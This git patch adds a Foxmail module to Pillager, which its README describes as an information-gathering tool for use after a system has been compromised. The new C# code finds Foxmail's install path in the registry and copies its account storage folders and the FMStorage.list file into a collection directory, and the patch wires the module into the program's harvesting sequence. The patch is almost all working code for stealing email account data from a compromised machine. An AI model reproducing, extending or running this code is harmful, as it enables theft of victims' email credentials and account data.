From 5cbee710dc800c846776c906f88a89c719205eb1 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?=E7=B0=9E=E7=B4=94?= <287182701@qq.com> Date: Tue, 14 Nov 2023 02:43:32 +0800 Subject: [PATCH] Add Foxmail --- Pillager/Mails/Foxmail.cs | 52 +++++++++++++++++++++++++++++++++++++++ Pillager/Pillager.csproj | 1 + Pillager/Program.cs | 1 + README.md | 1 + 4 files changed, 55 insertions(+) create mode 100644 Pillager/Mails/Foxmail.cs diff --git a/Pillager/Mails/Foxmail.cs b/Pillager/Mails/Foxmail.cs new file mode 100644 index 0000000..0f343e7 --- /dev/null +++ b/Pillager/Mails/Foxmail.cs @@ -0,0 +1,52 @@ +using Pillager.Helper; +using System; +using System.Collections.Generic; +using System.IO; +using System.Linq; +using System.Text; + +namespace Pillager.Mails +{ + internal class Foxmail + { + public static string MailName = "Foxmail"; + + public static string GetInstallPath() + { + try + { + string foxPath = Microsoft.Win32.Registry.LocalMachine.OpenSubKey(@"SOFTWARE\Classes\Foxmail.url.mailto\Shell\open\command").GetValue("").ToString(); + foxPath = foxPath.Remove(foxPath.LastIndexOf("Foxmail.exe", StringComparison.Ordinal)).Replace("\"", ""); + return foxPath; + } + catch { return ""; } + } + public static void Save(string path) + { + try + { + string installpath = GetInstallPath(); + if (!Directory.Exists(installpath)||!Directory.Exists(Path.Combine(installpath, "Storage"))) return; + string savepath = Path.Combine(path, MailName); + Directory.CreateDirectory(savepath); + foreach (var directory in Directory.GetDirectories(Path.Combine(installpath, "Storage"))) + { + Methods.CopyDirectory(directory, Path.Combine(savepath, Path.GetFileName(directory)), true); + foreach (var item in Directory.GetDirectories(Path.Combine(savepath, Path.GetFileName(directory)))) + { + if (!item.EndsWith("Accounts")) + { + Directory.Delete(item,true); + } + } + foreach (var item in Directory.GetFiles(Path.Combine(savepath, Path.GetFileName(directory)))) + { + File.Delete(item); + } + } + if (File.Exists(Path.Combine(installpath, "FMStorage.list"))) File.Copy(Path.Combine(installpath, "FMStorage.list"), Path.Combine(savepath, "FMStorage.list")); + } + catch { } + } + } +} diff --git a/Pillager/Pillager.csproj b/Pillager/Pillager.csproj index 27536a3..b2ec38c 100644 --- a/Pillager/Pillager.csproj +++ b/Pillager/Pillager.csproj @@ -67,6 +67,7 @@ + diff --git a/Pillager/Program.cs b/Pillager/Program.cs index f518fd0..77e4295 100644 --- a/Pillager/Program.cs +++ b/Pillager/Program.cs @@ -35,6 +35,7 @@ namespace Pillager //Mail MailMaster.Save(savepath); + Foxmail.Save(savepath); //Messengers QQ.Save(savepath); diff --git a/README.md b/README.md index 112c318..ee84ea3 100644 --- a/README.md +++ b/README.md @@ -58,6 +58,7 @@ Pillager是一个适用于后渗透期间的信息收集工具,可以收集目 | Mail | Support | | :--------: | :------: | | MailMaster | DataFile | +| Foxmail | Storage | | Others | Support | | :----: | :------: |